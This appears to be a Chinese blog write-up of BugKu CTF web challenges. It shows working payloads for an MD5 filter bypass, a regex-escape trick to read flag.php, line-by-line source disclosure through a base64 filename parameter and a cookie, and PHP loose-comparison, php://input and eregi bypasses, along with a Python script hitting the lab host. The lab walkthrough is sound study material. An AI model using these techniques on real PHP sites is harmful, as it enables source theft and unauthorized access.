天天看点

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

web 16

使用dirmap扫描到index.php.bak

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
           

这里有一个

$_SERVER['REQUEST_URI']

,作用是获取url后面的东西

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

还有一个

parse_str()

函数

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

有一个过滤,但是这种可以双写绕过

$str = str_replace('key','',$str);

然后就是一个md5碰撞

payload:

No one knows regex better than me

<?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
}
           

关键点在这里

preg_match("/\\|\056\160\150\x70/i",$third)

其中

\056\160\150\x70

是三个八进制一个十六进制,编码过来就是.php的意思

但是前面的

\\|

看似是匹配了一个反斜杠,但其实就是字符串的转义

字符串要输出"“的话就要用”\",所以这里就是一个有意义的反斜杠,转义了里面的"|"

所以其实这个正则匹配的是

|.php

关于两重转义

在正则表达式中要匹配一个反斜杠时,例如"\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。

substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php

payload:

?zero=ZmxhZw==&first=aaaa|.php

web 20

看url有一个firename,看一下是base64的样子

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

解码看看,是一个keys.txt

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

line参数应该就是输出第几行

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

所以可以拿去访问一下index.php

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

确实有效果,写个脚本把源码全部搞出来

import requests
 
url = "http://114.67.246.176:10454/index.php?line={}&filename=aW5kZXgucGhw"
for i in range(30):
    u = url.format(i)
    
    res = requests.get(u).text
    print(res)
           

得到源码:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
        $file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
    }
?>
           

cookie设置一个margin值为margin的时候可以访问keys.php,我们再把keys.php用base64编码一下放到filename去访问就可以了

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

web 21

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

访问1p.html,发现会跳转到官网,直接用view-source来看源码

得到源码

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

url解码一次,发现确实有跳转的script

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

base64解码一次

再url解码一次,拿到源代码

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21
";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>
           

第一层我们要让

(!$_GET['id'])

为true,id就要为0

可是与第二层的id==0矛盾

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){

PHP在识别的时候,哈希值为0e开头的都会被识别成0,所以id=0e123

第三层,

file_get_contents($a,'r')

把文件$a的内容赋值给data,但是文件肯定有后缀,就会有"."

stripos($a,'.')

函数会检测$a里面有没有".",那就绕不过这个if了

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

所以需要借助php://input来把

bugku is a nice plateform!

直接赋值给$a

第四层,

eregi("111".substr($b,0,1),"1114")

函数,判断前的参数有没有在后面对参数里出现,类似于正则

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

当$b第一位为4的时候就会匹配成功,但是

substr($b,0,1)!=4

说第一位不能是4,那就用"*"绕过

payload:

?id=0e123&a=php://input&b=*aaaaaa

构造如下请求

[BugKu]刷题记录web 16No one knows regex better than meweb 20web 21

继续阅读